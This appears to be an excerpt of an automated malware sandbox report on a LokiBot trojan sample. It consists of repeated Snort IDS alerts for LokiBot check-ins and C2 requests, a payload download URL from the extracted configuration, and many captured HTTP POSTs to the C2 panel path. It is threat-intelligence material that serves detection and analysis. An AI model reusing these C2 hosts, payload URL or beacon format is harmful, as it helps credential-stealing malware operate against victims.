Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49938 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49938 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49939 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49939 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49939 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49939 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49940 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49940 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49940 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49940 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49941 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49941 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49941 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49941 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49942 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49942 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49942 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49942 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49943 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49943 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49943 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49943 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49944 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49944 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49944 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49944 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49948 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49948 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49948 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49948 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49949 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49949 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49949 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49949 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49950 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49950 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49950 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49950 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49951 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49951 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49951 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49951 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49952 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49952 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49952 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49952 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49953 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49953 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49953 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49953 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49954 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49954 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49954 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49954 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49955 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49955 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49955 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49955 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49956 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49956 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49956 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49956 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49957 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49957 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49957 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49957 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49958 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49958 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49958 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49958 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49959 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49959 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49959 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49959 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49960 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49960 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49960 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49960 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49961 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49961 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49961 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49961 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49962 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49962 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49962 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49962 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49964 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49964 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49964 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49964 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49965 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49965 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49965 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49965 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49966 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49966 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.11.20:49966 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.11.20:49966 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.11.20:49967 -> 176.223.209.128:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.11.20:49967 -> 176.223.209.128:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://fabricraft.co.za/Farmant_hhVNwJna195.bin

Source: Joe Sandbox View

ASN Name: ROHOSTWAY-ASRO ROHOSTWAY-ASRO

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 176.223.209.128 176.223.209.128

Source: global traffic	HTTP traffic detected: GET /Farmant_hhVNwJna195.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: fabricraft.co.zaCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 178Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 3206Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
